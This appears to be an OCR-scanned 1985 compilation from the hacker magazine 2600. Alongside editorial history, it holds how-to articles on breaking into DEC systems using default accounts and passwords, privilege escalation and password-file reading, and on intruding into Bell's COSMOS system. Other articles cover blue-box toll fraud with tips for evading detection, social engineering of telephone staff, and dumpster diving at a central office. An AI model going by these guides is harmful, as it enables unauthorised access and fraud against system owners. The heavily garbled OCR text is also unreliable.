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COVERS

1985 was the second year of our newsletter phase, which lasted through 1986. True covers were still two years away. But we
continued to mess around with our masthead and, as the year progressed, we kept throwing things into the little box that had
popped up next to the name 2600,

We honestly don't know where most of these graphics came from. The majority were probably generic pieces of clip-art. In Janu-
ary, we had a little telephone in the shape of a car driving down a road. February saw a very short-lived experiment of listing the
contents of the issue. In March, we were back to graphics, this time with a sneaky looking Uncle Sam waving a flag. April had an
unusual image of a computer terminal with a telephone handset displayed on the monitor. In May and June, we tried listing the
contents again, either because we thought it was a good idea or we couldn't find any graphics. In July, we printed an image of a
penny farthing bicycle, most likely because a bunch of us were watching The Prisoner at the time. The whole British aristocrat
standing in the rain with an umbrella imagery continued into August, only the rain was falling inside the umbrella. Heavy stuff.
In September, we started to go a little nuts, sticking some of the clip art we had used in ads (such as a waiter holding dishes and
a collection of knives) on top of an image of our very first issue. We don't understand October now and we probably didn't back
then. It just seemed like a nice pattern. Where it came from is anyone’s guess. November was another weird one, with our um-
brella being sneezed away into the light by some guy with a handkerchief standing in the dark. (This might have been our psy-
chedelic period.) The year ended with another self-referential image in December: a string of holiday elves for the tree next to a
disembodied hand holding an issue of 2600. It was clear we wanted to make covers, but hadn't quite figured out a way to get there.

In the tiny print, January saw the first mention of a “lifetime subscription” for $260, along with a corporate sponsorship of
$2600. We never got any of the latter, however lifetime subscriptions became popular and still exist to this day at the exact same
price. We stuck the word "Dial:” in front of our phone number, replacing "ATT:". In March, we added the first of our BBS num-
bers to the masthead. This one was "The Private Sector,” which would become infamous later in the year. April saw our first rate
increase after a mere 15 months of publishing. Subscriptions went from 310 to 512 a year, 55 to 36 for a half year, and overseas
went from $13.50 to $15 for a year. After a full year and change of putting this newsletter out, we finally had figured out what we
needed to bring in to keep it going. We added a line in May that let people know to make out their checks to "2600 Enterprises,’
as we were getting checks made out to everything from “Hacker” to "Magazine.” Some clarification was in order. In June, we
realized that if we moved the “volume” and "number” part a bit higher, wed have the full width of the page for the tiny print.
We didn't have anything more to say, but we now had a whole lot more space to say it. Our next changes came in August, when
we got rid of the half year subscriptions and introduced a corporate subscription rate of $30, as opposed to the now labeled
individual rate of $12. We were getting hammered on international postage, so the international rate went up for the second
time in four months, this time to $20 for a year. We also added "Inc.” to the name to write checks to, probably at the behest of a
parancid accountant. We also introduced a brand new post office box "for advertising rates and article submissions.” In Septem-
ber, our back issue rates doubled, from $1 to $2 each. Again, this is probably something we just figured out as they started to sell
and we saw how much we were spending on them. We apparently had also been chastised by the post office for saying "Box™ in
our address instead of "P.O. Box,” so we made that change as well. It should also be pointed out that we continued to defiantly
list our BBS number, even after it had been seized by the authorities in August. (It came back to us the following January.)

We made the January exclamation point a tradition by repeating it after the "1985" on our January masthead. The typeface of
the month was changed this year and converted to a smaller size and all caps. The volume and number would remain the same
style and size as in the previous vear. The only other bit of creativity in that section came with the word "TYCHO" inserted into
the February masthead. This was undoubtedly the name of some computer somewhere that we weren't supposed to know about.

From April through August, we experimented with a “letter quality” printer instead of a typesetting machine for articles, but not
news updates. While it looked better than any other computer printer of the day, it paled in comparison to what we were used to
and we wound up going back to our old ways, even though that involved sneaking into offices of a local newspaper after hours.
(This experiment was also responsible for a rather unusual typo in the "What a White Box Can Do” article, which was the first to be
printed in this manner. The word “eatpastrami” was typed in order to push text onto the next line, which we were having trouble
doing for some reason. It was supposed to be temporary, but we wound up forgetting to erase that word, resulting in much embar-
rassment for many years to come. In fact, we even did it a second time, with the word "dstdstkskfgsjkfggreegfds” in that issue’s let-
ters column. This would forever be remembered as a low point for us.) In May, we expanded from six sides of 8.5x11 paper to eight
sides, or two 11x17 sheets folded in half. During 1985, you might have gotten six page issues as three separate sheets or one large
sheet folded over with a smaller middle sheet while eight page sheets were either two 11x17 sheets or four 8.5x11 sheets. Loose-
leaf holes continued to be punched in the side and page numbers (starting with *2-") printed on the bottom for filing purposes.
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Those Horrible Hackers Strike Again

In mid-November, something happened. We all Know what it was; even the
general populace knows this tme. A Newsweek reporter, Richard Sanada, was
harassed with a Mury of hackmg and phreaking after he wrote a sermi=-revealing
article. (See November 12 Vewsweel Tor the article and December 10 Tor the
follow-up.}

The attack on Sandza s unigue because he s a member of the press. Because
of this, & ndwculows amount of publicity crupted from the event. USA Todayran
several davs worth of articles and editonals focusing on the rampant abuse of
technology by our kids, asdid TV networks and all other branches of the media.
Mast of them mentoned breakins at the computers of Sloan Kettening, NASA,
TRW, ar other well known orgameations. This is supposed 1o make us gaspin
astonishment and lezd us te believe that the only problem s these pesky, genius
kids. But we all know better.

Sandra made the one big mistake of underestimating the power of the

hackers. We were told by one of his [riends of how he was so very certain that
nothing could happen to him because he published a secret password. We believe
this has been an educational experience for him. Some of the hackers among us
could use a bit of this education themselves, though, Harrassing one person
relentlessly really accomplishes nothing except to further tarnish the image of
hackers. By comparison, if the hackers had done all kinds of nasty things (o a big
corporation, say Union Carbide since they seem to have been doing some nasty
things themselves recently, the general populace might have been more
understanding.

Although Sandza’s case and the pubhcony surrounding 1 will hopefully alert
the public to potential abuse of information by others, i01s something nenther he
nor others deserved. And consider this: Although Sandea broke confidences by
revealing passwords, he had just as much right 1o do it as those hackers that
revesl commercial computer passwords,



wiretapE ing and divestiture:
A LINEMAN SPEAKS OUT

by The Shadow

Sever missing an opportunity for social engineering, the Kid & Co. and |
naturally carried on & conversation with the New Jersey Bell fone installer when
he came to put in my moedem line. The conversation turned to fone tapping, and
several interesting details came to light, He swore up and down that Bell had
nothing to do with wire tapping. He said the supervisor receives sealed orders
from the sherifls office. merely passing them on to the hinemen, Then the
linemen follow the orders 1o go up on the poles and mark the pairinthe "CAN™
that fit the fone line in guestion, and then leave the site.

One day, our lineman drove back by the pole he had marked earlier in the day.
and saw a Bell truck, Wondering who it was, he stopped to ask. The guy up on
the pole told him 1o go away and o leave him alone, Since our friendly lineman
didn’t recognize the mystery man as one of the linemen for the area, he asked his
supervisor who it could have been. His supervisor curtly told him o forget the
entire inckdent.

I'he limeman told us that in the old days the Teleo and the prosecutor’s oflice
worked hand-in-hand. They would let the authorities right into the CO 1o hsten
in onconversations, But this ended around 1973 when someone sued Jersey Bell
because of this oo close interaction. The Teleo then realized that they didnt
have to go that far in order to help the police. After this they gradually broke
from the close relationship. Now the fone company merely marks the lines, and
the prosecutor’s office handles the rest, He also said that now the police
sometimes use ulirasonic waves bounced off of window panes to listen 1o
suspects, removing all contact with the fone lines, Since the presence of a fone
company truck messing with welephone wires is taken for granted by the general
populace, the sherills office also has a couple of them for undercover work,
Since they got them back in the good old days of Bell friendliness, the trucks tend
to be the older madels, with outdated gear. The trucks also tend to be empty of
the normal fone installation gear. The lineman told us a sure way to wentily the
local police's trucks: they have wooden ladders. New Jersey Bell switched over to
plastic ones years ago.

Continuing the discussion with the lineman, we covered the breakup. New
Jersey Bell now no longer gives as much overtime as it onge did. The lineman
complained that his standard of living had gone down since the breakup as he no
longer has as much take home pay. The breakup has caused a total severing of
ties with AT&T. He professed total ignorance about long distance calling, He
had originally gone with AT&T, but dishked fixiing PBXS and computer
systems. As soon as he coukd, he switched back to the local operating company.

He told us about a technical institete Western Electric was operating

somewhere inthe Midwest. He had gone there to learn about the various types ol
switching systems. On campus was a gigantic, multi-story building split up intoe
roaums approximately the size of gymnasiums. In each was a fully operational
scale model of each of the various switching systems Western Electric
manufactures, including all the ESS and crossbar machines, as well as some
step-by-steps and several types of PBXs. They trouble-shot and repaired
problems in these machines in order to learn about actual operating equipment.

We talked about the local switching equipment, which turned out to bea F1A
ESS. According 1o him, soon all the local CO% will be run automatically from
central locations called “hubs™, The “hub” handles any overload between central
offices that might cause the dreaded “gridlock™ of the fone system. I the
interolNce signaling lines get overloaded, the calls are rerouted through the hub.
The hub also serves as a central spot where troubles at the local COare handled
in the first stages of trouble-shooting. The “hub™ concept is alive and well in our
local area, with a #5 ESS, the third installed in the entiré nation, running the
whaole operation.

When he was getting ready to leave he thanked us for the ineresting
conversation, and we waved at him as he pulled out. | now not only had a new
fone ling, but also a lot of useiuland interesting info, as well as the satisfaction of
a friendly chat

The lesson is clear, Whenever a Bell emploves visits your house, leel phree to
ask whatever you wani, within reason. Most are extremely willing to shoot the
bull about almost anvihing of which they have knowledge. At first, mercly joke
with them lightheartedly. inorder to get them off of their guard. Legit questions
askable by a normal customer, such as equal access cutovers, will get them
ralling. leaving vou to direct the conversation wherever you like. Asking about
the breakup and how it alfected them is a sure fire way to get them talking.
Questions like “How does the Tone network work?™ also are good, especially if
vou guide them into the discussion of switching technology. Most Bell
employees are really glad to talk to someone, Maost people are Matiered when
others seem interested inthem. Remember, they usually interact with disgruntled
customers with complaints. Their spouses probably vell at them. and their
supervisors cither complain about their performance or ignore them. Society at
Large just doesn 't care about them. They're most probably disenchanted with the
world at large. and mavhe even dissatishied with their jobs, The chance o talk w
someone who merely wants to listen to what they say is a welcome change. They
will 1alk on and on about almost anything. from telecommunications o their
home life and their chilklhood. The possibilities for social engineering are
endless, Remember, Bell emplovees are humans, too, Allyou have todo s listen,



Gettin

A GUIDETO S

by Mike Salerno

There are four popular operating systems on DEC machines
that are supported by DEC. Two of these, TOPS-10 and
TOPS-20, run on the KLI10 and the KS10 36 bit machines;
TOPS-10also runs on the older KA 10 and K110. The other two
are UNIX and VMS for the VAX, and PDP-11 series. The
VAX isa 32 bit machine, with a 32 bit virtual address space. The
PDP-I1 is also a 32 bit machine. VMS is a very intricate
operating system, with its loopholes, as you will see.

TOPS-10 1s an operating system that uses two octal numbers
to identify a “user” or *account™ This is usually printed in the
form of [565,11]. The first number tells which “project™ the user
belongs to, and the second is which “programmer™ the user is.
Passwords are any printing character up to 6 characters long,
containing only upper case alphabetics. Also associated with
the project programmer number (PPN) is the username, or
“user 1D, This 1s usually either a department name, or a
personal name. Now, we all know what some people like doing,
I.e. using parts of their name or department as their password
(usually initials, or first names). The only problem that remains
is how to get these usernames, right? Wrong! TOPS-10 is one of
the few operating systems, besides TOPS-20, that lets youdoa
few things while not logged in. This includes running a program
called SYSTAT that will give you various performance
statistics, along with a list of users on the system. If this system
1$ running version 7 of TOPS-10, vou can use SYSTAT to give
you what you want. Just type “SYSTAT US™. This will give a
short listing, giving only users on the system and their
usernames. Useful, isn't it? If the version is previous to version
T.youcangeta SYSTAT and then, using the job numberin the
left column, type “PJOB n™ where *n™is the user’s job number,
This will give you his username. If this is too tedious, type
"QUEUE™. This will show yvou a list of users who have entered
print and batch requests, along with their username. To login,
just type “LOGIN™, a space, and the “PPN™ with a comma.
Really taking over i1s not easy, unless you've worked with
TOPS-10 fora while. There are a few accounts that might have
been left with the default passwords set, like [1,3] password
OLD or OLDLIB, [1.4] password SYS or SYSLIB, [1.5]
password NEW or NEWLIB, [6,6] password MAINT or
FIXIT or FIX-IT, and [7.7] password OPER or OPR.

Like TOPS-10, TOPS-20 allows you to do certain things
which are helpful to hackers. Accounts on TOPS-20 are up to
39 alphanumeric characters including hyphensand/ or periods—
passwords arc the same. To login, type “LOGIN™, a space, the
username, a spacc, and the password. The password will not
echo. SYSTAT can be run whether you're logged in or not on
most machines. I the host is on ARPANet, use FINGER to
give a list of users on the system. along with their personal
names! There are not many privileged accounts that will have
their password set to something obvious, but one may be
MAINT or F-S or FIELD, witha password FIXIT, FIX-IT, or
MAINT. If the host is on ARPANet and you can login, try
FTP. which stands for File Transfer Protocol. With this, you
can transfer files from another host on ARPANet to the one
you're on, or vice versa. You have to have an account and
password to use on the other system. but guess what? TOPS-20
systems all have an ANONYMOUS account that any person

In The Back Door

E POPULAR OPERATING SYSTEMS

using FT'P can log into, with any password!

UNIX is a pretty simple operating system, but has some
pretty good security measures. The only way you can get full file
access, or any other privilege 1s by issuing the SU command and
entering the appropriate password, which (1 believe) is the
“root"account’s password. Accounts and passwords are stored
in text form, in the directory */ ete™ in the file “passwd™. All the
passwords are coded in such a way that there is no way to
decode them. The program responsible for checking these
passwords codes the password you give, then checks it against
the already coded password stored in the file. The only time the
rcal password 15 handled by the computer is when the user
himself sets it. All the fields in the password file are separated by
a colon. The first field is the username, the second the
password. If there i1s no password—two colons after the
username—then that account can be logged into without a
password. Some of these may be “help™ or “learn™ which
actually may let you into the system’s command level. The
account “sync” 15 used to synchronize things so that UNIX can
be crashed (never crash a UNIX system, it may leave the disks in
an undesirable state). One useful account which is usually left
with no password is “who™, which will give you a list of users on
the system, just like typing “who™ at the command level would.
Y ou can scan through these and see if you can find an aceount
with no password, or part of the username as the password. If
this doesnt work, then hang it up. One thing about UNIX-—it
thinks upper and lower case are different. This allows for file
names and even passwords in upper and lower case!

VMS stands for Virtual Memory System. The VAX's 32 bit
(4 gigabytes!) virtual address space is exploited fully by VMS.,
The introduction of the new VAX 8600 with the speed of four
VAX T80% is an impressive move by DEC. This system should
be able to support up to 236 users. One “good™ thing
(depending on your point of view) about VMS is that it lets you
do nothing without {irst logging in. If the system has only been
in operation for about 6 months or so, there is a good chance
that the default accounts supplied with VMS are still there,
These include the system manager’s account SYSTEM with the
password MANAGER, the field service account FIELD with
password SERVICE. and the system program test account
SYSTEST with password UETP. All these accounts either
have full privileges or have the privileges 1o give themselves full
privileges. If you cant access some files from FIELD or
SYSTEST, this is because you're the latter. To give them to
yourself, just type “SET PROCESS/PRIV=ALL". Once you
have full privileges, you can run the system program
AUTHORIZE. This program willallow you to print usernames,
owners, etc.. and insert new users. Y ou can not print passwords,
since the login program works like UNIX"s does. If the VAX is
hooked into DECNET, which is DEC's supported network,
you can access any unprotected file on any “node™ on the
network.

One thing about DEC' machines is that they can all
communicate with one another. Using ETHERNET, you can
connect to, send mail to, and transfer files to and from almost
any other DEC system. There should be on-line help for the
network, just type HELP.



THE THEORY OF ‘BLUE BOXING’

their history, how they’re used, their future

Adter most neophvte phreaks overcome their fascination with Metrocodes
and WATS extenders, they will usually seek to explore other avenues in the vast
phone network. Often, they will come across references such as *simply dial KP +
2130801050 = ST for the Alliance teleconferencing system in LA."Numbers such
as the one above were intended to be used with a blue box: this article will
explain the fundamental principles of the fine art of blue boxing.

Cenesis

In the begining, all long distance calls were connected manually by operators
who passed on the called number verbally to other operators in series. This is
because pulse (aka rotarvhdigits are created by causing breaks in the DC current.
Since long distance calls require routing through vanous switching equipment
and AC voice amplifiers. pulse dialing cannot be used to send the destination
number to the end local office (CO).

Eventually, the demand for faster and more efficient long distance (1.0
service caused Bell to make a mulu-billion dollar decision. They had to create a
signaling system that could be used on the LD network. Basically, they had two
options: (1) to send all the signaling and supervisory information (e, ON and
OFF HOOK) over separate data links. This type of signaling is referred to as
out=of-band signaling. or (2) to send all the signaling information along with the
conversation using tones to represent digits. This type of signaling is referred to
as in-band signaling, Being the cheap bastards that they naturally are, Bell chose
the latter (and cheaper) method—in-band signaling. They eventually regretted
this, though (heh, heh)...

In-Band Signaling Principles

When a subscnber dials a telephone number, whether in rotary or touchtone
{aka DTFM), the equipment in the CO interprets the digits and looks for a
convenient trunk line to send the call on its way. Inthe case of a local call, it will
probably be sent via an inter-office trunk; otherwise, it will be sent toa toll office
(class 4 or higher) to be processed.

When trunks are not being used there isa 2600 Hz tone on the line; thus to lind
a free trunk, the CO equipment simply checks for the presence of 2600 Hz. If it
doesn’t find a free trunk the customer will recerve a re-order signal (120 IPM
busy signal) or the “all circuits are busy..." message. 1f it does find a free trunk, it
“seizes” it—removing the 2600 Hz. [t then sends the called number or a special
routing code to the other end or toll office

The tones it uses to send this information are called multi-frequency (MF)
tones. An MF tone consists of two tones from a set of six master tones which are
combined to produce 12 separate tones. Y ou can sometimes hear these tones in
the background when vou make a call, but they are usually filtered out 50 your
delicate ears cannot hear them. These are nor the same as touchtones. To notify
the equipment at the far end of the trunk that it 15 about o receve routing
information. the originating end first sends a Kev Pulse (K P) tone. At the end of
sending the digits. the originating end then sendsa 3Tant (ST) tone. Thus tocall
914-359-1517. the equipment would send KP + 9143391517 + 5T in MF tones.
When the customer hangs up. 2600 Hz is once again sent to signify a disconnect
to the distant end.

History

In the November 1960 issue of the Bell System Technical Journal. an article
entitled “Signaling Systems for Control of Telephone Switching’ was published.
This journal, which was sent to most university libraries, happened to contain
the actual MF tones used in signaling. They appeared as follows:

DIGIT ...ccc0044 R N ] TGNE‘
g TOO0 + 900 HE
i i, e B 700 + 1100 HE
L A e g S A £ 900 + 1100 HZ
[ O S A T + 130 HZ
- g oo s 900+ 1300 HZ
I R 1100 + 1300 HL
Foicicssssnansaanns e s 100+ 1500 HE
B e e 900 = 1500 HZ
L G = e 1100 = 1500 HE
| PR ] 4+-IJM*ISMHI
RP....ccisvssnsnnanen 1104 + 1700 HZ
Bl .ccviivvanasnnnas .« 1500+ 1700 HZ
| o e T00 + 1700 HE
3 g S 00 + 1700 HZ
KP2(*) e oo onnnnnnnn s 1300+ 1700 HEZ

{*) Used only on CCITT SYSTEM 3 for special
infernational calling.

Bell caught wind of blee boxing in 1961, when it caught a Washington State
College student using one. They originally found out about blue boxes through
police raids and informants. In 1964, Bell Labs came up with scanning equip-
ment, which recorded all suspicious calls. 1o detect blue box usage. These units
were installed in CO'% where major toll fraud existed. ATET security would then
listen to the tapes to see if any toll fraud was actually committed, Over 200
convictions resulted from the project. Surprisingly enough. blue boxing is not
solely limited to the electronics enthusiast: AT& T has caught businessmen. film
stars, college students, doctors, lawvers. high school stedents, and even a
millionaire financier { Bernard Cornfield) using the device. AT&T also said that
nearly half of those that they catch are businessmen,

To use a blue box, one would usually make a free call (o any B} number or
distant directory assistance (NPA-555-1212). This, of course, 15 legitimate.
When the call is answered, one would then swiftly press the button that would
send 2600 Hz down the line. This has the effect of making the distant CO
equipment think that the call was terminated. and it leaves the trunk hanging.
Mow, the user has about 10 seconds to enter in the telephone number he wished
to dial—in MF, that is. The CO equipment merely assurnes that this came from
another office and it will happily process the call. Since there are no records
{except on toll frawd detection devices!) of these MF tones. the user is not billed
for the call. When the user hangs up, the CO equipment simply records that he
hung up on a free call.

Dretection

Bell has had 20 years to work on detection devices; therefore, in this day and
ape, they are rather well refined. Basically, the detection device will look for the
presence of 2600 Hz where it does not belong. [t then records the calling number
and all activity after the 2600 Hz. If vou happen to be at a fortress fone, though,
and you make the call short, vour chances of getting caught are significantly
reduced. Incidentally. there have been rumaors of certain test numbers that hook
into trunks thus avoiding the need for 2600 He and detection!

Another way that Bell catches boxers is to examine the CAMA (Centralired
Automatic Message Accounting) tapes. When you make a call, vour number,
the called number, and time of day are all recorded. The same thing happens
when vou hang up. This tape is then processed for billing purposes. Normally, all
free calls are ignored. But Bell can program the billing equipment to make note
of lengthy calls to directory assistance. They can then put a pen register (aka
DNR) on the line or an actual full-blown tap. This detection can be avoided by
making short-haul (aka local) calls to box off of.

[t is interesting to note that NPA + 555-1212 onginally did not return answer
supervision, Thus the calls were not recorded on the AMA CAMA tapes.
AT&T changed this though for “traffic studies!”

CCIs

Besides detection devices, Bell has begun to gradually redesign the network
using out-of-band signaling. This is known as Common Channel Inter-office
Signaling (CC1S). Since this signaling method sends all the signaling information
over separate data lines. blue boxing is impossible under it

While being implemented gradually, this multi-billion dollar project s still
strangling the fine art of blue boxing. Of course until the project 15 totally
complete, boxing will still be possible. [t will become progressively harder to find
places to box off of, though. In areas with CCIS, one must [ind a directory
assistance offfice that doesn’t have CCIS vet. Area codes in Canada and
predominantly rural states are the best bets. WATS numbers terminating in
non-CCIS cities are also good prospects.

Pink Moise

Another wav that may help to avoid detection is to add some “pink noise’ 1o
the 3600 Hzr tone.

Since 2600 Hz tones can be simulated in speech, the detection equipment must
be careful not to misinierpret speech as a disconnect signal. Thus a virtwally pure
2600 Hz tone is required for disconnect.

Keeping this in mind. the 2600 Hz detection equipment 15 also probably
looking for pure 2600 Hz or else it would be triggered every time someone hit
that note (highest E on a piane =2637 Hz). This is also the reason that the 2600
Hz tone must be sent rapidly; sometimes, it won't work when the operator 15
saving ‘Hello, hello.” [t is leasible o send some “pink noise” along with the 2600
Hz. Most of this energy should be above 3000 He. The pink noise wont make it
into the toll network (where we want our pure 2600 Hz to hat), but it should make
it past the local CO and thus the fraud detectors.

{The above was taken from Basic Telecommunications Part VI writren by
BIOC Agent 003.)



trashing alaska style

by The GCI Guy

We left that Friday night with no idea that we would end up at our
local CO. A group of computer enthusiasts and | usually go cruise and
look for trouble in our car properly named The Lead Sled. It is named
this because it is an extremely old Monte Carlo that is painted five
different shades of gray.

There was nothing happening on the local drag and that is when 1
remembered something | had seen on a BBS the might before.

“Let’s go trashing, " | said with hopes of an answer. Butall I got wasa
grumble from the back seat and a question thrown at me from the
driver. [ explained to them what trashing was and the whole car seemed
to like the idea of looking through someone else’s garbage, especially
our local CO%.

Now the thing that I really hate about our CO s that they have a
‘mascot’ color, baby blue. They paint their repair trucks, representa-
tives, and main building all this same color.

We carefully turned the engine off when we approached the baby
blue monster and coasted behind a group of trees. We had to run about
a mile to the dumpsters and 1 think that this was our biggest mistake.
But what can you expect from first time trashers?

The CO has a ‘protective’ fence around their lot. S50 we picked a
small, thin phreaker to slide under the gate. He then dived into the

dumpster with a look of triumph in his eyes,

We waited for him to emerge with a bag when suddenly 2 man in
baby blue overalls appeared. | velled for evervone to blow and that's
what we did. The skinny phreaker slid under the fence and we were
history.

I ran fast, the fastest I think I ever ran. But with the CO's security
guards after you, you had to. We ran back to the Sled but found that it
was surrounded by men in baby blue overalls. This is where we made
another mistake—we split up, hoping that maybe we wouldn't be
caught if we weren a large group.

“They've been caught!™ was the only thing that ran through my mind
as | ran for an abandoned shopping mall. Me and about two other
phreakers hid out there for about two hours until we thought the coast
was clear. But we were wrong.

As we were making our way back 1o the Sled, we were stopped by a
security guard who asked us alor of questions. Luckily we were able to
B.5. him. But when we got back to the Sled, it was gone.

I pamicked. No Sled, no nde, and no trash. Then suddenly | heard a
honk and it was the Sled.

Since that unfortunate experience we have made countless trips to
the CO and have retrieved bags and bags of trash. Learn by your
mistakes.



SURVEYING THE COSMOS

by Firemonger

COSMOS is Bell’s computer for handling infomation on
customer lines, special services on lines, and orders to change
line equipment, disconnect lines, ete. COSMOS stands for
Computerized System for Mainframe Operations. It is based
on the UNIX operating system and, depending upon the
COSMOS and upon your access, has some, many, or no UNIX
standard commands. COSMOS is powerful, but there is no
reason to be afraid of it. This article will give some of the basic,
pertinent info on how users get in, account format, and a few
other goodies.

Password Identification

To get onto COSMOS you need a dialup, account, password,
and wire center (WC). Wire centers are two letter codes that tell
what section of the COSMOS you are in. There are different
WC's for different areas and groups of exchanges. Examples
are PB, SR, LK, etc. Sometimes there are accounts that have no
password; obviously such accounts are the easiest to hack.

Checking It Out

Let’s suppose you have a COSMOS number which you
obtained one way or another. The first thing to do would be to
make sure it 1s really a COSMOS system, not some other Bell or
AT&T computer. To do this, you would call it and connect
vour modem, then hit some returns until you got a response. It
should say: “;LOGIN: or ‘NAME:". If you enter some garbage
here it should say: ‘PASSWORD:". If vou hit a return and it
says "WC?, it is a COSMOS system. If it says something like
‘TA% then vou're in business. If it doesn't do any of the above,
then it is either some other kind of system, or, if you're not
getting anything at all, the dialup has probably gone bad.

Getting In

COSMOS has certain accounts that are usually on the
system, one of which might not have a password. They consist
of ROOT (most powerful and almost always on the system),
SYS (second most powerful, still many privileges), BIN (a little
less power), PREOP (a little less), and COSMOS (hardly any
privileges, like a normal user). The way to tell if they have
passwords i1s by entering the accounts at the SLOGIN: or
‘NAME: prompt, and if it jumps staight to "WC?", all you need
is a WC to get in. But suppose all of the accounts have
passwords? You have two choices. You can try to hack the

password and WC to one of the above accounts. | won't deal
with this method, as it is self explanatory. Or you can do
something 1 find much easier—call the COSMOS during
business hours and hope that someone forgot to log off. Keep
calling until when you connect and hit return until you get a
"WO%" prompt. ‘WC’ is the WC that the account you found is
currently in. You are now in!
What to Do While Online

The first thing you want to do is write down the WC you are
in. The command *‘WCFLDS(!) should list all WC'. On your
first login it is a good idea to print everything or dump
everything to a buffer. "WHO’ should print everyone currently
logged on the system, giving some accounts. “TTY" tells what
terminal port you are on. "WHERE'should tell the location of
the COSMOS installation. *WHAT" tells what version of
COSNIX, COSMOS’ operating system, 1t 1s. ‘LS *’ pnints all
the files you have access to. *CD | dir’ connects you to directory
‘dir’, ‘Cat | filename’ prints file *filename’. Typing the name of a
file runs it. ‘ED filename’ edits file “filename’. Q" quits the
editor. If you've got privileges, you can try to print the
password file. To do this, type ‘CAT | ETC/ PASSWD’, If you
have access, it will print the password file out. The passwords
are almost alwayvs encrypted, but you get a list of all the
accounts. If you are lucky, one of the lines will have two colons
after the account name. This means there is no prompt from the
“LOGIN: or ‘NAME:  prompts when you enter that account. If
you can't print out the password file, you're going to have to
hack a password foranaccount or callagain until you get in the
way described above. To logoff, type CTRL-Y. "TAT
sometimes print a little help file. To do a check on some
telephone line, type 'ISH” at the COSMOS "WCG:" prompt.
Then type'H TN XXX—XXXX'(Hunt Telephone Number) to
tell you about the local number you are interested in. When the
system gives youa ' you typea ‘.’ and it will type all kinds of
info on the phone number you entered (in Bell abbreviations, of
course). If it is not a good exchange, it will say something to that
effect. You type a period to end the ISH.

If you wish to learn more information about COSMOS, find
yourselfa COSMOS manual or look at future issues of 2600. A
UNIX manual would also be helpful for standard UNIX
commands.



One of our correspondents made an interesting discovery last month, She
found the telephone number for one of the computer bulletin board systems
operated by Amerncan Nazis. With this number she was able to log on and get the
information that the media has lately been all bugeved about. Now we are
prepared to talk intelligently on the matter,

For one thing. this bulletin board 15 an Apple running Network sofltware.
There are only abowt two doren messages posted on it Only people who pay 55
can post messages or use clectronic mail functions, The system 15 not used very
often judging from the frequency of the messages. The people behind it seem to
have mo interest in changing anvthing in the software or doing anything
imaginative with it. (Example: on most Apple bulletin boards, the “B® command
gets voua list of other bulletin board systems. At the end of the list, the program
prints, “When calling other systems, be sure to tell them about [ name of board].
This message can casily be changed. The Mazis use the “B™ command also,
except they use it to list add resses of “patriot ™ groups, Even though the list is not
a list of bulletin boards, vou still get the “'When calling other systems™ message at
the end of it.)

There seems to be little or no attendance by any sysop based on zero chat
availability and no replies to all kinds of feedback. “G™ files exist (standard on
Apple boards, usually used for stonng large aricles), however one of them
requires Level Taccess, O an least, thats what it savs. The file imquestion is a list
of race traitors, their addresses, ete. We are convinced that no such file exists, at
least not there, When requesting this file, vou are told: "Here 15 a list of race
traitors: Level 7 aceess required.” This doesn't seem right. Either you're allowed

NAZI BBS ACHALLENGE TO HACKERS

to read the file or not. In this case, you're allowed to read part of the file and then
suddenly vouaren't. It's almost as if the file simply contains the above statement
and nothing else. Unfortunately, the media never picked up on thar.

Our point here 15 simply this: you computer hackers and phone phreaks that
are reading this have the ability to uncover and analyze circumstances in ways
that most people can't. Some of you have the ability to recognize touch wones by
ear. A few can tell where their calls are going by the sounds they hear. And still
others are able to get into more than a few major systems and find the interesting
stull almost immediately, There 15 a very defimite need in this world for such
intelligence. Every authonty figure in existence would like to geta piece of your
abilnies but very few are deserving of them. Besides, who really enjoys selling _
out?

Think of all the events going on in the world today. When all phone lines (o
Poland are cut off, use vour tricks to route through Belgrade, Then let the press
know that vow can get through if they care. Track down imeresting people in
South Alfnca, El Salvador, the Soviet Union—especially m times of crisis.
There's no reason why you cannot atiain the same respectabiliny that a ham
radio operator has when things get desperate, We can all still have lots of fun,
and at the same time Move SOMme mountains.

The Nars are a start. I hackers can uncover a thing or two that nobody else
knows about. we'll be on the road to finally being appreciated. Let us know what
vou find, But be careful ou there.

The numbers for the Nazi boards are 2142633 109 and 9193210888,



are you a phreak???

by Bob Gamma

From the mere jokeline caller to the telecommunications
wizard, one can find phone folks at various levels of the phone
kingdom. These are not definitive boundaries, for even the
most knowledgeable phreaks occasionally revert to primitive
tactics:

The Dippy Dialer. The person who gota Zygot Dial-A-Joke
number from their little sister and is forever trying to get
through the busy signal which other Dippy Dialers have
caused. Not to be totally ignored, since it 1s this person who
keeps the entertainment lines in business. Even though they do
not know the difference between the prefix and the area code,
they are the only people that find the jokes to be humorous.
This brand of lowlife makes prank phone calls (sample: “1s your
refrigerator running? Then you better go catch it!™) and has
been known to run up his parents’ phone bill on long distance
calls which he thought were local.

Conference Brai | Loop Idiot. Has an interminable list of test
numbers, WATS goodies, other phreaks’ private numbers, and
searches endlessly for working loops. Known to (ab)use the
Alliance Teleconferencing mechanism. Typified by playing the
“info exchange game™ and dreams of the day that he will have
his own phone line. This creature also calls the phone phun
lines, but overstacks SPC and MCI trunks. Also enjoys leaving
lengthy disconnects on other people’s answering machines.

Amateur Phone Phreak. Has 16 illegal extensions with touch
tone and homemade hold buttons, Collects telephone direct-
ories of cities he cant spell or find on the map. Also
accumulates Bell paraphernalia like pay phone instruction
cards and stationery from the security division for scaring his
friends. These mischievous types wire coin phones to always

refund, harass telco installers, and raid the central office trash
containers for research material. Has the cheapest measured
service line, but with all the custom calling features. Collects
coin phone refund checks from the BOC's and independent
teleos, including 3rd rate companies like GTE. Fantasizes of
working for Ma Bell someday.

Phone Phreak Extraordinaire. Has a key system for his 4
phone lines, of which he only answers one, Has a pager, but still
is impossible to track down. Charter subscriber to 2604. He
knows every free call there is and talks to the East Coast
phreaks not so much for phreaking but to laugh at their accents.
Dabbles with computer systems, but has no respect for its
security, Can answer any question about the telephone except
why he likes it. Has at least one 3-slot pay phone proudly
displayed on his wall, and is the only person with an apprecia-
tion of independent telcos, step-by-step switching, and
divestiture.

Phone Phreak Emeritus. Retired from the service after
getting busted 3 times: For Sprinting across the country; For
violating probation by blue boxing (telco security confiscated
his blue box); And finally for hacking COSMOS. Has no phone
line at all, as he is paranoid that the temptation would be too
great. Tries new hobbies such as needlepoint and stamp
collecting in order to lessen phone phreak withdrawal pains.
Meticulously avoids breaking any laws: drives 55 mph on
highways. This nasty streak of morality could probably be
cured by giving him a butt phone and locking him in a feeder
closet which contains 200 unrestricted dial tones.

Where do vou fit in? Tell your friends where they belong.
Then change your phone number, quickly!



HOW TO GET INTO A C.0.

